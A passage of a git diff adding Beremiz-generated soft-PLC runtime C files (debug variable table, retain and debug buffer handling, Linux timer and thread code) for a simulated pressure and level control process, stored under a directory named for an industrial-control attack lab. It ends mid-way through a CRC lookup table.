+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 